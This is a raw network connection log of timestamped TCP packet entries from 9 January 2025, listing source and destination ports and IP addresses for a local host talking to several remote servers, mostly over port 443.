Jan 9, 2025 05:14:29.468822002 CET	443	49750	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.469820023 CET	443	49750	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.469887972 CET	49750	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.470323086 CET	49750	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.470323086 CET	49750	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.470374107 CET	49750	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.470390081 CET	443	49750	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.470448017 CET	49750	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.470669031 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.470701933 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.470772028 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.470963955 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.470976114 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.507329941 CET	443	49749	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:29.611438036 CET	443	49749	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:29.611510992 CET	443	49749	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:29.611578941 CET	49749	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:29.611968994 CET	49749	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:29.611984968 CET	443	49749	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:29.757613897 CET	49682	80	192.168.2.17	192.229.211.108
Jan 9, 2025 05:14:29.936033964 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.936294079 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.936307907 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.936633110 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.936919928 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.936976910 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.937069893 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.937125921 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.937139988 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.061434031 CET	49682	80	192.168.2.17	192.229.211.108
Jan 9, 2025 05:14:30.131098986 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.131171942 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.131201029 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.131222010 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.131236076 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.131274939 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.131288052 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.131294012 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.131333113 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.131334066 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.131391048 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.131993055 CET	49751	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.132004976 CET	443	49751	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.134493113 CET	49752	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.134519100 CET	443	49752	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.134604931 CET	49752	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.134907961 CET	49752	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.134922028 CET	443	49752	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.153608084 CET	49753	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.153650999 CET	443	49753	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.153749943 CET	49753	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.154032946 CET	49753	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.154045105 CET	443	49753	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.155272961 CET	49754	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.155303955 CET	443	49754	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.155368090 CET	49754	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.155607939 CET	49754	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.155620098 CET	443	49754	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.608721018 CET	443	49754	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.609709024 CET	49754	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.609750986 CET	443	49754	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.610742092 CET	443	49754	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.610804081 CET	49754	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.613085985 CET	49754	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.613106012 CET	49754	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.613152027 CET	443	49754	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.613178968 CET	49754	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.613209009 CET	49754	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.614788055 CET	443	49752	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.614850044 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.614902020 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.614964008 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.615005016 CET	49752	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.615015030 CET	443	49752	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.615201950 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.615217924 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.616017103 CET	443	49752	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.616067886 CET	49752	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.617017031 CET	49752	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.617034912 CET	49752	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.617083073 CET	443	49752	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.617233992 CET	443	49752	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.617273092 CET	49752	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.618390083 CET	49752	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.618410110 CET	443	49752	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.618423939 CET	49752	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.618484020 CET	49752	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.621937037 CET	49756	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.621968031 CET	443	49756	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.622044086 CET	49756	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.623562098 CET	49756	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.623574972 CET	443	49756	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.628194094 CET	443	49753	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.629106045 CET	49753	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.629132032 CET	443	49753	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.630248070 CET	443	49753	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.630309105 CET	49753	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.631074905 CET	49753	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.631088972 CET	49753	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.631118059 CET	49753	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.631139040 CET	443	49753	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.631191969 CET	49753	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.631330967 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.631369114 CET	443	49757	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.631426096 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.632976055 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:30.632996082 CET	443	49757	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:30.636368990 CET	49680	443	192.168.2.17	20.189.173.13
Jan 9, 2025 05:14:30.667434931 CET	49682	80	192.168.2.17	192.229.211.108
Jan 9, 2025 05:14:31.070349932 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.070611000 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.070630074 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.071683884 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.071753025 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.072032928 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.072099924 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.072221994 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.072230101 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.072282076 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.072315931 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.078860998 CET	443	49756	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.079029083 CET	49756	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.079058886 CET	443	49756	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.080108881 CET	443	49756	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.080166101 CET	49756	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.080435991 CET	49756	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.080502033 CET	443	49756	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.080527067 CET	49756	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.107295990 CET	443	49757	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.107502937 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.107527018 CET	443	49757	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.108547926 CET	443	49757	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.108608961 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.108855009 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.108913898 CET	443	49757	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.112430096 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.123338938 CET	443	49756	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.131377935 CET	49756	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.131386995 CET	443	49756	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.160418034 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.160432100 CET	443	49757	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.176439047 CET	49756	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.208415031 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.215123892 CET	443	49756	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.215202093 CET	443	49756	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.215256929 CET	49756	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.215979099 CET	49756	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.215998888 CET	443	49756	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.778137922 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.778238058 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.778268099 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.778301001 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.778306007 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.778331995 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.778350115 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.778369904 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.778398991 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.778413057 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.778419971 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.778464079 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.778470993 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.779021025 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.779066086 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.779073954 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.831902981 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.831912041 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.865483046 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.865525007 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.865555048 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.865575075 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.865585089 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.865597010 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.865782976 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.865828037 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.865834951 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.866144896 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.866190910 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.866199970 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.866733074 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.866766930 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.866781950 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.866789103 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.866836071 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.866842031 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.866929054 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.866974115 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.866981983 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.867845058 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.867880106 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.867901087 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.867908955 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.867959023 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.867980003 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.868040085 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.868077993 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.868083954 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.876461029 CET	49682	80	192.168.2.17	192.229.211.108
Jan 9, 2025 05:14:31.908443928 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.943125010 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.943228960 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.943258047 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.943284988 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.943319082 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.943368912 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.951412916 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.951486111 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.951522112 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.951545000 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.951553106 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.951600075 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.952091932 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.952568054 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.952621937 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.952630043 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.952640057 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.952682018 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.952688932 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.952697992 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.952733994 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.952742100 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.952781916 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.953625917 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.953659058 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.953685045 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.953690052 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.953708887 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.953736067 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.954597950 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.954653978 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.955517054 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.955563068 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.955576897 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.955583096 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.955602884 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.956515074 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.956548929 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.956573009 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.956579924 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.956610918 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.957336903 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.957407951 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:31.957415104 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:31.957463980 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.027115107 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.027199984 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.029983997 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.030025005 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.030044079 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.030056953 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.030091047 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.030111074 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.030117989 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.030136108 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.038327932 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.038383007 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.038389921 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.038418055 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.038434029 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.038440943 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.038477898 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.038486004 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.038532972 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.038654089 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.038710117 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.038718939 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.038754940 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.038851976 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.038903952 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.038909912 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.038948059 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.038976908 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.039028883 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.039088011 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.039134979 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.039644003 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.039693117 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.039706945 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.039753914 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.039884090 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.039917946 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.039926052 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.039936066 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.039954901 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.039971113 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.040364027 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.040421963 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.040457964 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.040489912 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.040496111 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.040504932 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.040539980 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.040647030 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.040693045 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.040781021 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.040826082 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.040833950 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.040915012 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.040957928 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.041052103 CET	49755	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:32.041066885 CET	443	49755	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:32.100604057 CET	49759	443	192.168.2.17	18.245.31.49
Jan 9, 2025 05:14:32.100641966 CET	443	49759	18.245.31.49	192.168.2.17
Jan 9, 2025 05:14:32.100719929 CET	49759	443	192.168.2.17	18.245.31.49
Jan 9, 2025 05:14:32.100930929 CET	49759	443	192.168.2.17	18.245.31.49
Jan 9, 2025 05:14:32.100941896 CET	443	49759	18.245.31.49	192.168.2.17
Jan 9, 2025 05:14:32.907522917 CET	443	49759	18.245.31.49	192.168.2.17
Jan 9, 2025 05:14:32.907756090 CET	49759	443	192.168.2.17	18.245.31.49
Jan 9, 2025 05:14:32.907777071 CET	443	49759	18.245.31.49	192.168.2.17
Jan 9, 2025 05:14:32.908802032 CET	443	49759	18.245.31.49	192.168.2.17
Jan 9, 2025 05:14:32.908864975 CET	49759	443	192.168.2.17	18.245.31.49
Jan 9, 2025 05:14:32.912062883 CET	49759	443	192.168.2.17	18.245.31.49
Jan 9, 2025 05:14:32.912130117 CET	443	49759	18.245.31.49	192.168.2.17
Jan 9, 2025 05:14:32.912249088 CET	49759	443	192.168.2.17	18.245.31.49
Jan 9, 2025 05:14:32.912256956 CET	443	49759	18.245.31.49	192.168.2.17
Jan 9, 2025 05:14:32.957495928 CET	49759	443	192.168.2.17	18.245.31.49
Jan 9, 2025 05:14:33.181787968 CET	443	49759	18.245.31.49	192.168.2.17
Jan 9, 2025 05:14:33.181870937 CET	443	49759	18.245.31.49	192.168.2.17
Jan 9, 2025 05:14:33.181931973 CET	49759	443	192.168.2.17	18.245.31.49
Jan 9, 2025 05:14:33.182584047 CET	49759	443	192.168.2.17	18.245.31.49
Jan 9, 2025 05:14:33.182600021 CET	443	49759	18.245.31.49	192.168.2.17
Jan 9, 2025 05:14:33.197336912 CET	49762	443	192.168.2.17	18.245.31.53
Jan 9, 2025 05:14:33.197376013 CET	443	49762	18.245.31.53	192.168.2.17
Jan 9, 2025 05:14:33.197458029 CET	49762	443	192.168.2.17	18.245.31.53
Jan 9, 2025 05:14:33.197706938 CET	49763	443	192.168.2.17	18.245.31.129
Jan 9, 2025 05:14:33.197727919 CET	443	49763	18.245.31.129	192.168.2.17
Jan 9, 2025 05:14:33.197782040 CET	49763	443	192.168.2.17	18.245.31.129
Jan 9, 2025 05:14:33.198662996 CET	49762	443	192.168.2.17	18.245.31.53
Jan 9, 2025 05:14:33.198678017 CET	443	49762	18.245.31.53	192.168.2.17
Jan 9, 2025 05:14:33.198792934 CET	49763	443	192.168.2.17	18.245.31.129
Jan 9, 2025 05:14:33.198801994 CET	443	49763	18.245.31.129	192.168.2.17
Jan 9, 2025 05:14:33.912575960 CET	443	49762	18.245.31.53	192.168.2.17
Jan 9, 2025 05:14:33.912821054 CET	49762	443	192.168.2.17	18.245.31.53
Jan 9, 2025 05:14:33.912841082 CET	443	49762	18.245.31.53	192.168.2.17
Jan 9, 2025 05:14:33.913908005 CET	443	49762	18.245.31.53	192.168.2.17
Jan 9, 2025 05:14:33.913971901 CET	49762	443	192.168.2.17	18.245.31.53
Jan 9, 2025 05:14:33.914324045 CET	49762	443	192.168.2.17	18.245.31.53
Jan 9, 2025 05:14:33.914382935 CET	443	49762	18.245.31.53	192.168.2.17
Jan 9, 2025 05:14:33.914613008 CET	49762	443	192.168.2.17	18.245.31.53
Jan 9, 2025 05:14:33.914618969 CET	443	49762	18.245.31.53	192.168.2.17
Jan 9, 2025 05:14:33.916007996 CET	443	49763	18.245.31.129	192.168.2.17
